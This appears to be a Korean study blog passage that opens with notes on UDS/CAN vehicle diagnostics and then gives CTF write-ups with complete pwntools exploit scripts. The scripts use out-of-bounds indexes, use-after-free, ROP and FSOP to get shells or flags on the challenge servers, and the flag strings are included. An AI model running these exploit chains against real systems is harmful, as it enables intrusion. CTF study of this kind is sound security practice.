<구조>

PCI | SID | DID

• CAN ID: 메시지를 송수신 할 ECU
• PCI: 주로 UDS 메시지의 길이
• SID: 서비스 식별자
  • Sub Function Byte: SID에 세부적인 옵션
• DID: 데이터 식별자
  
  

  SID

목록: https://en.wikipedia.org/wiki/Unified_Diagnostic_Services

<긍정응답>

ECU가 SID+0x40값으로 응답.

<부정응답>

0x7f라는 error id와 sid, nrc를 반환

7f | SID | NRC

여기서 nrc는 negative response code로 각 값별로 의미가 다름

• 외부 진단기기가 차량 내의 모든 ECU(제어기)를 대상으로 보내는 공통 진단 요청(Functional Request) 메시지 식별자
• 일종의 broadcast 역할
• response에 대하여

• CAN ID 0x7DF 요청에 대해 응답하는 ID들은 물리적 응답 ID(Physical Response ID)라고 불리며, 다음과 같은 원리와 의미를 가진다

  • 응답 ID가 정해지는 원리:

    CAN 및 UDS 통신에서 ID는 설계 단계에서 미리 정의된 dbc에 의해 결정.

    • 표준 규격 (ISO 15765-4 / OBD-II): 일반적으로 법적 규제를 받는 배기가스 관련 진단에서는 요청 ID와 응답 ID 사이에 일정한 규칙이 있습니다. 보통 응답 ID = 요청 ID + 8의 공식을 따름
    • 제조사 고유 규격 (OEM Specific): 하지만 제공해주신 로그처럼 0x70D, 0x719 등 다양한 범위의 ID가 나타나는 것은 제조사가 자체적으로 정의한 주소 체계를 사용하기 때문입니다. 각 제어기(ECU)의 펌웨어 설계 시 "7DF라는 공통 호출을 받으면 각자 지정된 고유 ID로 응답하라"는 규칙이 심어져 있습니다.

  • 응답 ID의 의미: ECU의 신분증

    각 응답 ID는 차량 내에서 특정 하드웨어(제어기)를 상징합니다. 로그에 등장하는 ID들은 다음과 같은 의미를 갖습니다.

    • 개별 제어기 식별: 0x70D, 0x719, 0x72D, 0x79C, 0x7F9 등은 모두 차량 내의 서로 다른 제어기들입니다. 예를 들어 하나는 엔진 제어기(ECU), 다른 하나는 변속기 제어기(TCU), 또 다른 하나는 브레이크 제어기(ABS)일 수 있습니다.
    • 1:1 통신 채널: 외부 진단기가 특정 제어기와 깊이 있는 데이터(코딩, 소프트웨어 업데이트 등)를 주고받으려면, 공통 ID인 0x7DF가 아니라 이 응답 ID들과 짝을 이루는 물리적 요청 ID(Physical Request ID)를 사용하여 1:1로 통신해야 합니다.

<7DF 메시지와 UDS>

• CAN ID 0x7DF가 반드시 UDS(ISO 14229) 프로토콜만을 의미하는 것은 아니지만 자동차의 진단 체계 내에서 0x7DF는 진단을 위한 '입구' 역할을 하기 때문에 UDS와 매우 밀접하게 연결된다
• 이해를 돕기 위해 0x7DF가 사용되는 두 가지 주요 프로토콜을 비교해보자

| **구분** | **OBD-II (표준 진단)** | **UDS (제조사 진단)** |
| --- | --- | --- |
| **목적** | 배기가스 관련 법규 준수, 공통 데이터 조회 | 차량 전체 시스템 제어, 코딩, 펌웨어 업데이트 |
| **SID 범위** | **0x01 ~ 0x09** (예: 01은 실시간 데이터) | **0x10 ~ 0x3E** (예: 22는 데이터 읽기) |
| **범용성** | 모든 차량이 동일한 명령 사용 | 제조사마다 명령과 응답이 다를 수 있음 |
| **접근 권한** | 누구나 자유롭게 조회 가능 | 보안 액세스(Seed/Key)가 필요한 경우가 많음 |

• 구분의 실제

  • request와 response 메시지의 문법을 확인한다.
    • SID가 UDS에서 정의된 형식인지, OBD-2에서 정의된 형식인지 확인.
    • 그에 따른 응답이 알려진 UDS 응답의 형식과 일치하는지 확인

• 0x7DF는 진단기기가 차량에 말을 거는 '공통 채널'일 뿐이며, 그 안에 담긴 서비스 ID에 따라 UDS 통신이 될 수도, OBD-2 진단이 될 수도 있음

Search And Attack

먼저 서버 주소를 구해야한다.

악성코드파일이랑 서버에서 실행되는 파일 2개를 준다. 서버는 c코드까지 준다.

악성프로그램을 먼저 확인해서 서버 주소를 찾아야 한다.

sub_114D0 에서 c&c 서버의 ip 주소를 동적으로 생성함. 그 부분에 브포를 걸고 동적으로 확인하면 아래 사진 처럼 43.200.123.226이라는 주소값을 구할 수 있다. 아니면 sub_10F20함수 동적으로 확인해도됨

그 주소로 아래처럼 nc로 접속해보면 응답이 오는 것을 확인할 수 있다.

취약점: bots 배열에 접근하는 인덱스에 검증이 없어 음수로도 가능 + partial Relro

-1로 DETAIL기능을 이용하면 got를 이용해 libc leak가능

-1로 UPDATE기능을 이용하면 got overwrite가능 ⇒ strtok의 got를 system으로 overwrite하고 다음에 "cat flag >&4\0”를 전송해 system("cat flag >&4\0”)이 실행되도록 한다.

*주의할점: 서버의 출력이 나한테 보이는 게 아니라서 그냥 cat flag나 /bin/sh를 실행한다고 내가 flag를 얻거나 쉘을 얻을 수 있는게 아님. 리버스쉘로 붙거나 fd를 리다이렉트해야함

<전체 익스 코드>

from pwn import *

context.log_level = "debug"

p = remote("43.200.123.226", 8080)
#p = remote("localhost", 8080)

#1. libc base 구하기========================================

p.sendline(b"DETAIL|-1")

for i in range(8):
    p.recvuntil(b"|")

libc_base = u64(p.recv(6)+b"\x00\x00") - 0x1395a0
log.info(hex(libc_base))

LIBC_SYSTEM_OFFSET =  0x58750 


BOTS_ARRAY_ADDR = 0x000000406160
STRTOK_GOT_ADDR = 0x0000004060d8 



def send_command(r, cmd_type, *args):
    payload = cmd_type
    for arg in args:
        payload += b"|" + arg

    r.sendline(payload)

system_libc_addr = libc_base + LIBC_SYSTEM_OFFSET
log.success(f"Calculated system@libc address: {hex(system_libc_addr)}")

# 2. strtok@GOT를 system주소로 overwrite =======================
log.info("Attempting to overwrite strtok@GOT...")


overwrite_payload = p64(libc_base+0x1395a0)+p64(0x12b960+libc_base) + p64(libc_base+0x9cbc0) + p64(libc_base+0x28a93)
overwrite_payload += p64(system_libc_addr)*3

# overwrite_payload가 ram_info 버퍼(64바이트) 내에 들어가는지 확인
if len(overwrite_payload) > 64:
    log.error("ram_info를 위한 덮어쓰기 페이로드가 너무 큽니다. 종료합니다.")
    p.close()
    exit()

# 다른 필드는 더미 데이터로 채웁니다.
hostname_filler = b""
username_filler = b""
public_ip_filler = b""
private_ip_filler = b""
os_info_filler = b""
cpu_info_filler = b""
disk_info_filler =b""

# UPDATE 명령어 인자 구성
# UPDATE|bot_id|hostname|username|public_ip|private_ip|os_info|cpu_info|ram_info|disk_info
update_cmd_args = [
    str(TARGET_BOT_ID).encode(),
    hostname_filler,
    username_filler,
    public_ip_filler,
    private_ip_filler,
    os_info_filler,
    cpu_info_filler,
    overwrite_payload, # ram_info가 덮어쓰기 대상
    disk_info_filler
]

log.info(f"strtok@GOT를 덮어쓰기 위한 UPDATE 명령어 전송 중...")

send_command(p, b"UPDATE", *update_cmd_args)
p.recvuntil(b"OK")

#3. system함수 실행하기 ===================

pause()

p.sendline(b"cat flag >&4\0")

p.interactive()

Sleeping C&C

바이너리 간단한 구조는 다음과 같다.

• 전역변수로 bot_list존재 (5개짜리 void 배열)
• bot_list에 들어있는 청크(0x20)의 구조 |ip청크주소|info청크주소|status정수값|
• ip청크는 0x18, info 청크는 0x500바이트임

즉, 하나의 덩어리가 총 3개의 청크로 구성

취약점1: free한 청크의 내용을 초기화하지 않아 unsorted bin을 해제 및 재할당하고(0x500짜리 info 부분) 한바이트만 read시키고 출력하면 libc leak가능

취약점2: free한 다음 bot_list에서 해당 주소값을 없애지 않는다. 따라서 update를 이용해 해제된 청크에 접근이 가능하다. ⇒ 따라서 한 덩어리를 추가로 할당한 상태에서 또 해제, 그리고 send quick command로 0x20을 할당하고 원하는 주소값을 +8바이트에 넣기 (맨 첫 8바이트도 값을 쓰는데에 유효한 주소여야함. 해제된 덩어리에 대해서 임의의 |ip청크주소|info청크주소|를 구성하는 거임. 이 구조체도 0x20짜리라서 해제한다음 command를 만들면 원래 이 구조체였던 해제된 청크를 할당받을 수 있음) =>이후 idx 0에 대해 update를 하면 info 넣을 차례에 내가 넣은 주소값에 대해서 read를 수행할 수 있다.(무려 0x500바이트나!!)

따라서 1을 이용해 libc leak하고 2를 이용해 stdout구조체에 fsop를 하면 된다.

<전체 익스 코드>

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

# 바이너리 실행
#p = process("./prob")
# 원격 서버에 연결
p = remote("16.184.27.225", 12345)
libc = ELF("./libc.so.6")

def add_slave(ip, info, status):
    p.sendlineafter(b">> ", b"1")
    p.sendlineafter(b": ", ip)
    p.sendlineafter(b": ", info)
    p.sendlineafter(b": ", str(status).encode())

def update_slave(idx, ip, info, status):
    p.sendlineafter(b">> ", b"2")
    p.sendlineafter(b": ", str(idx).encode())
    p.sendafter(b": ", ip)
    p.sendafter(b": ", info)
    p.sendlineafter(b": ", str(status).encode())

p.sendlineafter(b">> ", b"4")
p.sendlineafter(b">> ", b"5")

add_slave(b"10", b"", 0)

p.sendlineafter(b">> ", b"4")

p.recvuntil(b"(info : ")

#0x203b0a

#1. libc leak =======================================
#use after free와 unsorted bin을 이용한 libc leak. 
#한번 해제하고 할당시켜 한바이트만 입력하고 출력시키면 한바이트빼고는 이전에 들어간 libc 관련 값이 출력.
libc_base = u64(p.recv(6)+b"\x00\x00") - 0x203b0a 
log.info(hex(libc_base))

#2. fsop==========================================

'''일단 할당된 상태에서 다 해제. 그리고 send로 0x20을 할당. +원하는 주소값 넣어놓기
-> update로 그 idx에 대해서 쓰기 하면 내가 넣은 주소값에 대해서 update수행. '''

#-27
p.sendline(b"1")
p.sendlineafter(b": ", b"0")
p.sendlineafter(b": ", b"AA")
p.sendlineafter(b": ", str(0).encode())

p.sendlineafter(b">> ", b"4")
p.sendlineafter(b">> ", b"5")

p.sendlineafter(b">> ", b"3")
p.sendlineafter(b">> ", b"1")
pause()
p.sendafter(b":\n", p64(libc_base+0x2045c0)+p64(libc_base+0x2045c0))

libc.address = libc_base
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

_IO_file_jumps = libc.symbols['_IO_file_jumps']
stdout = libc.symbols['_IO_2_1_stdout_']
log.info("stdout: " + hex(stdout))
FSOP = FSOP_struct(flags = u64(b"\x01\x01;sh;\x00\x00"), \
        lock            = libc.symbols['_IO_2_1_stdout_'] + 0x10, \
        _IO_read_ptr    = 0x0, \
        _IO_write_base  = 0x0, \
        _wide_data      = libc.symbols['_IO_2_1_stdout_'] - 0x10, \
        _unused2        = p64(libc.symbols['system'])+ b"\x00"*4 + p64(libc.symbols['_IO_2_1_stdout_'] + 196 - 104), \
        vtable          = libc.symbols['_IO_wfile_jumps'] - 0x20, \
        )

#indx 0에 대해 update
update_slave(0, b"a", FSOP, 1)

p.interactive()
#whitehat2025{355f477ac132f7ae0deaa7ade74a77f2749875b1f605b0e2430fb6ba29d47ac279baab076df751816ae0fbe68cf72f6491af05bc437e5664b728}

모의체험장 링크: https://apollo2.cstec.kr/challenges

일단 검색해보면 라업이 몇 개 있는 거로 봐서 Untrusted Complier는 작년 예선 문제인 것 같은데 haha는 나오는 라업이 하나도 없어서 작년 문제가 맞는지 정확하게는 모르겠다. 그래도 Untrusted Compiler랑 동일하게 flag가 cce2024로 시작하는걸 보면 작년에 출제되었던 문제는 맞는 것 같다.

Untrusted Compiler

이 문제는 특이하게도 소스코드를 그냥 준다.

//gcc -o chall chall.c -no-pie -z relro -O2 -fno-stack-protector

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>

uint32_t random_list[10] = {0,};
uint64_t total_random = 0;

void banner()
{
    printf("                        __                                  _ _           \n");
    printf(" _   _ _ __  ___  __ _ / _| ___    ___ ___  _ __ ___  _ __ (_) | ___ _ __ \n");
    printf("| | | | '_ \\/ __|/ _` | |_ / _ \\  / __/ _ \\| '_ ` _ \\| '_ \\| | |/ _ \\ '__|\n");
    printf("| |_| | | | \\__ \\ (_| |  _|  __/ | (_| (_) | | | | | | |_) | | |  __/ |   \n");
    printf(" \\__,_|_| |_|___/\\__,_|_|  \\___|  \\___\\___/|_| |_| |_| .__/|_|_|\\___|_|   \n");
    printf("                                                     |_|                  \n\n");
}

void init(){
    srand(time(NULL));
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    banner();

    printf("Start setting 10 randoms...\n");

    for(int i = 0; i < 10; i++)
    {
        uint32_t random = rand();
        random_list[i] = random;
        total_random += random;
    }

    printf("done!\n\n");

    printf("Guess the random value XD\n\n");
}

void flush()
{
    int c;
    while ((c = getchar()) != '\n' && c != EOF);
}

void guess()
{
    uint16_t idx = 0;
    uint32_t score_list[10] = {0,};
    uint32_t input_list[10] = {0,};
    uint64_t score_sum = 0;

    while ((random_list[idx] < UINT32_MAX) && (idx < 10)) {
        printf("input %d: ",idx);
        scanf("%d", &input_list[idx]);
        flush();
        if(input_list[idx] == random_list[idx])
            score_list[idx] = random_list[idx];

        score_sum += score_list[idx];
        idx++;
        if(score_sum >= total_random){
            return;
    }
  }
}

int main()
{
    init();

    guess();
}

그래서 소스코드를 한번 봐보면, 딱히 취약한 부분이 보이지 않는다. 그런데 맨위 주석처리된 명령어와 도커파일을 보면 위 소스코드를 다음 명령어로 컴파일한다는 사실을 알 수 있다. gcc -o chall chall.c -no-pie -z relro -O2 -fno-stack-protector 즉, 최적화 옵션을 주고 컴파일하고 있다.

아마 컴파일 과정에서 최적화가 일어나면서 코드에 취약점이 발생하는 것일 것이다. 문제이름도 "Untrusted" Complier니까 꽤나 친절하다.

그러면 저 옵션을 주고 컴파일을 한 다음 IDA로 까보자. 최적화로 인해서 while문의 종료조건에 변화가 생긴것을 확인할 수 있다. 원래 while ((random_list[idx] < UINT32_MAX) && (idx < 10)) 라는 검증이 있어 idx가 10 이상이 되면 무조건 종료되는데, IDA로 디컴파일한 코드를 보면 idx에 대해서는 검증이 사라졌다. while문의 종료조건은score_sum < total_random과 random_list[idx] == -1 뿐이므로 저 둘 중 하나에 해당되지 않는 이상 계속해서 idx를 증가시켜 스택에 존재하는 정수 배열에 값을 저장할 것이므로 ret까지도 원하는 값을 쓸 수 있을 것이다.

그렇다면 이 취약점을 이용해서 4바이트씩 값을 써 rop 체인을 스택에 쓰고 페이로드가 완성되었을 때 종료조건이 만족되도록해서 내가 입력해놓은 페이로드가 실행되게 하면 된다.

나는 이런 식으로 우선 got를 이용해 libc 주소를 leak한 뒤 위 함수로 다시 리턴하도록 만들었고, 그러면 또다시 rop를 할 수 있게 되므로 이때에 구한 libc base를 이용해 system함수를 실행시키는 형태로 익스했다. 종료 조건의 경우에는 약간의 노가다를 통해 직접 디버깅하면서 적절한 값을 찾아주어 rop 체인이 완성되고 나서 함수가 종료될 수 있도록 만들어주었다. 문제 풀때 머리쓰기 싫어서 이렇게 한거였는데 지금 생각해보니 그냥 머리를 쓰는게 더 효율적이었을 거 같다

최종 익스코드는 아래와 같다.

from pwn import *

context.log_level = "debug"

#p = process("./chall")
p = remote("43.202.156.51", 1337)
#p = remote("localhost", 1337) 
libc = ELF("./libc.so.6")
poprdi = 0x0000000000401444
ret = 0x000000000040101a 
rand_got =0x404038
puts_plt = 0x0000004010b0
guess = 0x00401370
system_offset = libc.symbols['system']
binsh_offset = 0x1d8678

def input_num(n):
    p.sendlineafter("input ", str(n).encode())



for i in range(2):
    input_num(0xffffffff)

for i in range(0x13):
    input_num(i)

input_num(0xffffffff)
input_num(0xffffffff)

for i in range(24-0x13-2  ):
    input_num(i)


input_num(poprdi)
input_num(0)
input_num(rand_got)
input_num(0)
input_num(puts_plt)
input_num(0)
input_num(guess)
input_num(0)
input_num(0x7fffffff)


p.recvuntil(b"34: ")
libc_base = u64(p.recv(6)+b"\x00\x00") - 0x815f0
log.info(hex(libc_base))


for i in range(2):
    input_num(0xffffffff)

for i in range(0x13):
    input_num(i)

input_num(0xffffffff)
input_num(0xffffffff)

for i in range(24-0x13-2  ):
    input_num(i)


input_num(poprdi)
input_num(0)
input_num((libc_base + binsh_offset)&0xffffffff)
input_num((libc_base + binsh_offset)>>32)
input_num(ret)
input_num(0)
input_num((system_offset + libc_base)&0xffffffff)
pause()
input_num((system_offset + libc_base)>>32)

p.interactive()
#cce2024{660cefeb55c12e7f8d374609f8a33942227e7206ae4ff67a34eccaac234bb10df8b7b6d9f9523658ac7a00f4863db39093ad8919053511a2d5583dca9ce0c7894676}

haha

이 문제는 바이너리만 주어져 있다. 디컴파일해보면 메인함수는 아래와 같다.

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &idx);
    if ( idx == 4 )
    {
      puts("BYE");
      exit(0);
    }
    if ( idx > 4 )
    {
LABEL_12:
      puts("invaild input");
    }
    else
    {
      switch ( idx )
      {
        case 3:
          view();
          break;
        case 1:
          create();
          break;
        case 2:
          edit();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

일반적인 힙 문제랑 비슷한 구조인데, 특이한 점이 하나 있다면 free하는 함수가 없다는 것이다. free를 하지 않는다면 tcache나 bin에 청크가 들어갈 일이 없으니까 이를 통해 아마 힙 자체의 취약점을 이용한 문제는 아닐 것이라는 걸 추측해볼 수 있다.

다음으로 create함수를 살펴보자.

__int64 create()
{
  int temp_index; // ebx
  size_t v2; // rax
  int idx; // [rsp+Ch] [rbp-24h] BYREF
  size_t size; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-18h]

  canary = __readfsqword(0x28u);
  printf("index: ");
  if ( (unsigned int)__isoc99_scanf("%d", &idx) != 1 )
    return 0LL;
  if ( idx <= 9 )
  {
    if ( *((_QWORD *)&notes + idx) )
    {
      puts("used note!!");
      return 0LL;
    }
    else
    {
      printf("size: ");
      if ( (unsigned int)__isoc99_scanf("%zu", &size) == 1 )
      {
        if ( size <= 100 )
        {
          sizes[idx] = size;
          temp_index = idx;
          *((_QWORD *)&notes + temp_index) = calloc(size + 1, 1uLL);
          if ( *((_QWORD *)&notes + idx) )
          {
            printf("data: ");
            v2 = fread(*((void **)&notes + idx), 1uLL, size, stdin);
            if ( v2 == size )
            {
              return 1LL;
            }
            else
            {
              perror("fread");
              return 0LL;
            }
          }
          else
          {
            perror("calloc");
            return 0LL;
          }
        }
        else
        {
          puts("big size..");
          return 0LL;
        }
      }
      else
      {
        return 0LL;
      }
    }
  }
  else
  {
    puts("out of bound!!");
    return 0LL;
  }
}

우선 idx, size, data를 입력받는데, idx는 9이하라는 검증이, size는 100이하라는 검증이 존재하고, data는 size값만큼 fread로 입력하도록 되어있다. 동적할당은 calloc을 이용하며, size+1의 크기를 할당한다.

위 코드에서 존재하는 취약점은 idx 검증이다. idx가 signed int 이기 때문에 음수가 되어도 검증을 통과한다. 이와 동일한 취약점이 view, edit모두에 존재한다.

따라서 할당한 힙 주소들을 저장하는 배열인 notes는 bss영역에 존재하기 때문에 그 앞에 있는 영역에 존재하는 주소값을 참조할 수 있다. 다만 그 앞의 영역에 값을 쓰거나, 읽을 수 있는 것이 아니라 그 앞의 영역에 써진 주소값을 참조해 값을 쓰거나 읽을 수 있는 것이라는 점에 주의해야 한다.

여기까지 분석하고 나니 아무래도 바로 앞쪽에 stdout이 존재하고, 거기에 libc에 존재하는 stdout 파일 구조체의 주소가 쓰여있다보니, 이 주소에 값을 쓰는 fsop 형태의 익스가 적합할 것이라는 생각이 들었다. 그러려면 우선 libc leak이 필요하다.

하지만 바로 앞 영역에 libc 주소를 바로 릭할 수 있는 주소값은 존재하지 않았다. 직접 디버깅해본 결과 stdout보다 앞쪽인 0x4008오프셋의 주소에 자기 자신의 주소가 쓰여진 부분이 존재하는 것을 발견했다. (0x???008이라는 주소에 0x???008이라는 주소가 쓰여있음) 따라서 이 부분을 이용해 libc 주소를 릭하기로 했다. 방법은 다음과 같다.

1. 0x4008 오프셋 부분에 view를 통해 그 주소를 출력시킨다.
2. 1에서 출력시킨 값으로 pie base 주소를 구한다.
3. edit을 이용해 0x4008 오프셋 부분에 bss영역에 존재하는 stdout의 주소를 적는다. 여기서, edit을 위해 필요한 조건이 있다.
   • edit함수의 내부를 살펴보면 우선 *((_QWORD *)&notes + idx)와 같은 조건을 통해서 해당 부분에 이미 값이 쓰여있는지를 확인하는데 일단 우리는 이미 값이 쓰여있는 곳에다 edit을 하는거니까 이건 신경안써도 된다.
   • 다음으로 sizes[idx] >= size 조건을 통해서 내가 값을 쓸 idx를 기준으로 sizes 배열을 검증한다. 만약 여기에 쓰여있는 값보다 내가 입력한 size가 더 크면 바로 함수를 종료시켜 값을 쓸 수가 없다. 따라서 보통 상황이라면 0이 적혀있을 것이므로 여기에서 바로 리턴되는 것을 막기 위해 0x4008오프셋에 해당하는 idx를 기준으로 sizes배열의 해당 위치에 특정 값을 써줘야한다. 이 조건을 만족하는 것은 그리 어렵지 않다. create를 이용해 주솟값을 써주면 충분히 큰 값이 써지기 때문에 최대 6바이트정도의 write가 필요한 우리로서는 부족함이 없다.
   • 0x4008 오프셋부분은 notes[-11] 위치에 해당하는데, &size[-11] == &notes[1] 이므로 edit을 수행하기 전 idx 1에 대해 create을 수행하면 된다.
4. 0x4008 오프셋 부분에 view를 하여 &stdout에 써진 libc주소를 출력시킨다.

이제 libc base를 구했으니 맨 처음에 생각했던 대로 stdout FILE 구조체의 주소에 특정 값을 써서 FSOP를 하면 된다. 이때도 아까와 같이 size값 검증을 신경써줘야 한다. stdout의 주소가 적힌 위치는 notes[-8]인데, size[-8] == &notes[4] 이므로 idx 4에 미리 create를 해놓으면 notes[-8]에 큰 size값을 edit할 수 있다.

최종 익스코드는 아래와 같다.

from pwn import *

#p = process("./haha")
p = remote("3.38.195.222", 5555)
context.log_level = "debug"
e = ELF("./haha")
libc = ELF("./libc.so.6")#e.libc


def create(idx, size, content):
    p.sendlineafter(b">> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"size: ", str(size).encode())
    p.sendafter(b"data: ", content)

def view(idx):
    p.sendlineafter(b">> ", b"3")
    p.sendlineafter(b"index: ", str(idx).encode())

def edit(idx, size, content):
    p.sendlineafter(b">> ", b"2")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendafter(b"size: ", str(size).encode())
    p.send(content)


#1. libc leak===========

view(-11)
p.recvuntil(b"data: ")
pie_base = u64(p.recvline().strip()+b"\x00\x00")-  0x4008
log.info(hex(pie_base))

create(1, 16, b"A"*15)
edit(-11, 8, p64(pie_base + 0x4020))
view(-11)
p.recvuntil(b"data: ")
libc_base = u64(p.recvline().strip()+b"\x00\x00")-  libc.symbols['_IO_2_1_stdout_']
log.info(hex(libc_base))


#2. FSOP =======================

libc.address = libc_base
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

_IO_file_jumps = libc.symbols['_IO_file_jumps']
stdout = libc.symbols['_IO_2_1_stdout_']
log.info("stdout: " + hex(stdout))
FSOP = FSOP_struct(flags = u64(b"\x01\x01;sh;\x00\x00"), \
        lock            = libc.symbols['_IO_2_1_stdout_'] + 0x10, \
        _IO_read_ptr    = 0x0, \
        _IO_write_base  = 0x0, \
        _wide_data      = libc.symbols['_IO_2_1_stdout_'] - 0x10, \
        _unused2        = p64(libc.symbols['system'])+ b"\x00"*4 + p64(libc.symbols['_IO_2_1_stdout_'] + 196 - 104), \
        vtable          = libc.symbols['_IO_wfile_jumps'] - 0x20, \
        )


create(4, 16, b"a"*15)
edit(-8, len(FSOP), FSOP)


p.interactive()
#cce2024{17f41ea51ab0ddaea3abef26546f12a87eef049458de7b2d854ca43fca52855dbabd6d8e83e9743cc2ddb2ed744ed788f19a28dab5c2a478}

*문제 라업은 가장 밑에 적어놓았다. *

2박 3일 간 열리는 대회였지만 첫날은 오리엔테이션 같은거만 해서 사실상 대회는 1박 2일이었고, 첫날은 7시간(10:0017:00), 둘 째 날은 4시간(10:0014:00)으로 실질적으로 ctf 자체가 운영되는 시간은 총 11시간에 불과했다.

진행방식

대회는 live-fire와 jeopardy가 동시에 진행되는 방식이었다.

대회 기간 내내 동일한 서버에 대해 live-fire가 진행되고 그와 동시에 jeopardy도 함께 진행되었다. jeopardy의 경우 첫번째 날과 두번째 날의 문제가 달랐다.

live-fire는 총 2000점이 주어지고, 15분마다 한 라운드이며 라운드가 지날때마다 공격이 이루어져 취약점 당 10점, 최대 40점이 감점되는 형식이었다. (SLA에서 걸리면 무조건 40점이 감점이다)

7시간 중 1시간이 점심시간이라 live-fire의 라운드가 이루어지는 시간은 총 6시간이었고, 한 라운드가 15분인 걸 고려하면 총 24라운드가 존재하는 셈이다. 그러면 최대 감점은 960점일 것이다.

둘째날 까지 고려해도 +3시간이고, 그럼 12라운드가 추가로 있는거니까 추가로 480점 감점, 이틀에 걸친 최대 감점이 1440점이다.

960점이면 어려운 문제 하나, 쉬운 문제 3개정도에 해당하는 분량이고, 아예 live-fire를 포기하면 감점되는 점수가 1440점이니까 지금 와서 생각해보면 live-fire의 비중이 생각보다 크지 않은 것 같다.

live-fire

우리는 일단 첫 라운드는 전원이 같이 live-fire를 보고, 그 이후에 유동적으로 인원 대비 효율이 안 나는 상황에서는 일부 인원은 jeopardy로 전환하기로 했다. 일단 가장 이상적인 상황은 빠른 시간 내에 모든 취약점을 패치하고 모두가 jeopardy로 옮기는 것이었다. 실전에서 예상대로 흘러가지 않을 것이 뻔해서 몇 가지 행동원칙을 조금 세워서 갔다.

당연히 이상적으로 흘러가지는 않았다. 아무래도 우리팀은 전원이 live-fire가 처음이었고, 웹을 할 줄 아는 사람이 한 명이었는데 live-fire의 서버는 웹서버였다. 심지어 나는 전혀 접해보지도 않은 typescript 코드여서 나에게는 더더욱 힘들었다. 코드도 엄청 많았다. 정신없이 지피티랑 제미나이를 오가다보니까 한 시간이 흘러있었고, 우리는 4 라운드동안 꼬박꼬박 야무지게 40점이 까이고 있었다. 한 시간이나 썼는데도 나는 그닥 도움을 주지 못했고, 나는 진짜진짜 웹알못이라 내가 이걸 같이 봐봐야 도움이 절대 안된다 싶어서 두 분만 live-fire를 계속 보고 나머지 둘은 jeopardy문제를 풀기로 했다.

조금 더 덧붙이자면 이게 총 4가지의 취약점을 패치해야하는데 한 취약점군이 여러 개일수도 있다. 그러니까 만약에 서버에 존재하는 4가지 취약점 중 하나가 sqli라면 총 n개의 sqli를 패치해야 10점을 지키게 되는 것이다. 이게 한가지 취약점군이 몇 개인지조차 모르니까 좀.. 여러모로 침착을 유지하기가 힘들었다.(ㅋ)

그리고 워낙 정신이 없어 정확한 시점이 기억 나진 않지만 한참 문제를 푸는 도중 3개의 취약점이 제대로 패치되었다는 소식을 들었다. 모든 취약점을 패치한 팀이 많이 없기도 했고, 모든 취약점을 찾는 거보다 문제푸는게 더 나을 거라는 생각이 들어서 그냥 10점씩 계속 까이기로 하고 그 이후는 모든 팀원이 jeopardy를 본 것 같다. 둘 째 날에도 거기서 더 안 건드리고 그냥 냅뒀다.

